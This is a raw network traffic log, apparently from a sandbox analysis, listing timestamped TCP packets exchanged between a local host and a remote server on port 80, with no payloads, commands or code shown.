Dec 18, 2024 11:47:17.138912916 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.139101982 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.139151096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.140101910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.140259981 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.140311956 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.141238928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.141344070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.141392946 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.142410994 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.142518044 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.142570972 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.143578053 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.143682003 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.143728971 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.144738913 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.144860983 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.144908905 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.145925045 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.146034956 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.146081924 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.147109032 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.147193909 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.147243977 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.148251057 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.148364067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.148401022 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.149418116 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.149457932 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.149513960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.150198936 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.150630951 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.150686026 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.150726080 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.151781082 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.151978970 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.152023077 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.152954102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.153045893 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.153096914 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.154112101 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.154203892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.154228926 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.155276060 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.155325890 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.155375957 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.156475067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.156519890 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.156573057 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.157701015 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.157749891 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.157794952 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.158195019 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.158808947 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.158986092 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.159033060 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.160449982 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.160573959 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.160614967 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.161551952 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.161634922 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.161704063 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.162719011 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.162756920 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.162782907 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.162817955 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.163749933 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.163785934 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.163882971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.163919926 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.164845943 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.164887905 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.164927006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.164962053 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.165813923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.165853024 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.165896893 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.166038990 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.167004108 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.167042017 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.167143106 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.167180061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.168171883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.168205976 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.168255091 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.168291092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.298877001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.299005985 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.299127102 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.299293041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.299478054 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.299638987 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.300293922 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.300354958 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.300357103 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.300395012 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.302294016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.302604914 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.302618980 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.302668095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.302707911 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.302721977 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.303486109 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.303582907 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.303636074 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.304440975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.304574966 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.304626942 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.305438042 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.305511951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.305701971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.306210995 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.306564093 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.306613922 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.306657076 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.307528973 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.307646990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.307698965 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.308679104 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.308785915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.308840990 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.309866905 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.309979916 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.310024023 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.311073065 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.311175108 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.311220884 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.312546968 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.312598944 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.312659979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.313385010 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.313427925 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.313492060 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.314208984 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.314519882 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.314570904 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.314609051 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.315707922 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.315826893 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.315870047 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.316868067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.317024946 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.317064047 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.318038940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.318077087 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.318130016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.318198919 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.319212914 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.319251060 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.319374084 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.320391893 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.320445061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.320473909 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.320569992 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.321598053 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.321639061 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.321664095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.321682930 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.322710991 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.322871923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.322916985 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.323874950 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.323975086 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.324027061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.325045109 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.325146914 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.325196981 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.326270103 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.326395035 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.326443911 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.327465057 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.327513933 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.327569962 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.328579903 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.328624964 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.328687906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.329760075 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.329772949 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.329799891 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.329819918 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.330897093 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.331010103 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.331048012 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.332081079 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.332174063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.332221031 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.333197117 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.333534956 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.333581924 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.334549904 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.334687948 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.334744930 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.335586071 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.335701942 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.335743904 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.336760044 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.336837053 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.336886883 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.337944984 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.338054895 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.338100910 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.339086056 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.339193106 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.339241028 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.340246916 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.340348005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.340392113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.341423035 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.341542959 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.341609001 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.342580080 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.342735052 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.342885017 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.343750954 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.343938112 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.343992949 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.344926119 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.345036030 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.345088005 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.346101999 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.346162081 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.346210003 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.347349882 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.347390890 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.347413063 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.347498894 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.348444939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.348565102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.348681927 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.349606991 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.349705935 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.349741936 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.350931883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.351913929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.351944923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.351960897 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.351982117 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.352196932 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.352231979 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.353106976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.353163958 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.353189945 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.353368998 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.354341030 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.354378939 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.354444981 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.354621887 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.355648994 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.355671883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.355699062 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.355711937 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.356635094 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.356690884 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.356749058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.356789112 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.357784986 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.357821941 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.357884884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.357917070 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.358958960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.359005928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.359010935 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.359035969 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.494338989 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.494354963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.494410992 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.495048046 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.495060921 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.495107889 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.496088028 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.496154070 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.496237993 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.496273994 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.497581005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.497592926 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.497616053 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.497796059 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.498567104 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.498579979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.498620033 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.499686003 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.499697924 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.499728918 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.500801086 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.500844955 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.500993013 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.501234055 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.502062082 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.502185106 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.502213955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.502244949 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.503200054 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.503211975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.503246069 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.503266096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.504308939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.504322052 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.504358053 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.505462885 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.505501032 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.505604982 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.505635977 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.506664991 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.506716967 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.506814957 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.506917953 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.507869959 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.507941008 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.508012056 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.508042097 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.509046078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.509208918 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.509227037 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.509340048 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.510309935 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.510322094 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.510349035 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.510366917 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.511365891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.511379004 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.511405945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.511421919 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.512593031 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.512605906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.512646914 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.513648987 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.513787031 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.513824940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.514487028 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.514570951 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.514605999 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.517348051 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.517390013 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.517523050 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.517574072 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.518517971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.518529892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.518553019 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.518560886 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.518564939 CET	80	49806	31.41.244.11	192.168.2.6
